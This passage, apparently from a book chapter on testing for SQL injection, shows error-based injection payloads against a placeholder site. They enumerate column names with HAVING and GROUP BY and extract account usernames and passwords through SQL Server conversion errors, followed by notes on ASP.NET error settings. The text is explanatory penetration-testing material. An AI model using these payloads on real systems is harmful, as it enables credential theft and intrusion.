Justin Clarke Lead Author and Technical Editor Rodrigo Marcos Alvarez Dave Hartley Joseph Hemler Alexander Kornbrust Haroon Meer Gary O’Leary-Steele Alberto Revelli Marco Slaviero Dafydd Stuttard

 
Testing for SQL Injection • Chapter 2
 
45
http://www.victim.com/showproducts.aspx?category=bikes' and 1=0/name;--
Application response:
Server Error in '/' Application.
Syntax error converting the nvarchar value '
Claud Butler Olympus D2
' to a
column of data type int.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.
t
ip
Information disclosure in error messages can be very useful to an attacker 
targeting applications using SQL Server databases. If you find this kind of 
disclosure in an authentication mechanism, try to enumerate the username 
and password column names (which are likely to be 
user
and 
password
)
using the 
HAVING
and 
GROUP BY
techniques already explained:
http://www.victim.com/logon.aspx?username=test' having 1'='1
http://www.victim.com/logon.aspx?username=test'
GROUP BY User having '1'='1
After discovering the column names, you can disclose the credentials of 
the first account, which is likely to possess administrative privileges:
http://www.victim.com/logon.aspx?username=test' and 1=0/User
and 1'='1
http://www.victim.com/logon.aspx?username=test' and 1=0/Password
and 1'='1
You can also discover other accounts adding the discovered usernames in 
a negative condition to exclude them from the result set:
http://www.victim.com/logon.aspx?username=test' and User not
in ('Admin') and 1=0/User and 1'='1
You can configure errors displayed in ASP.NET applications using the web.config file.
This file is used to define the settings and configurations of an ASP.NET application. It is an 
XML document which can contain information about the loaded modules, security 
configuration, compilation settings, and similar data. The 
customErrors
directive defines how errors 
are returned to the Web browser. By default, 
customErrors=“On”
, which prevents the application 
server from displaying verbose errors to remote visitors. You can completely disable this feature 
using the following code, although this is not recommended in production environments:

---